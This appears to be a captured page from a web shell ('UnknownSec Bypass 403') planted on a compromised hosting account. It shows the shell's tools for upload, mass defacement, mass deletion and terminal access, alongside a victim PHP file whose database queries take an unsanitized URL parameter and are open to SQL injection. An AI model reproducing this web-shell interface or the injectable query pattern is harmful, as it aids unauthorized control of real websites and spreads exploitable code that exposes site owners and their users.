UnknownSec Bypass
403
:
/
home
/
growthpharma
/
public_html
/
Master@Growth
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
deletepage.php
<?php include_once("config.php"); include_once("session_check.php"); $id = $_GET['id']; echo $check = mysql_num_rows(mysql_query("select * from submenu where catid='$id'")); die; if($check >'0') { echo "<script>window.location='managepage.php'</script>"; $_SESSION['mode1']="There is dependency you can not delete this!"; exit(); } else{ $sqldelrole = mysql_query("delete from page where pageid='$id'"); echo "<script>window.location='managepage.php'</script>"; $_SESSION['mode']="Record Deleted Successfully"; exit(); } ?>
Copyright © 2024 - UnknownSec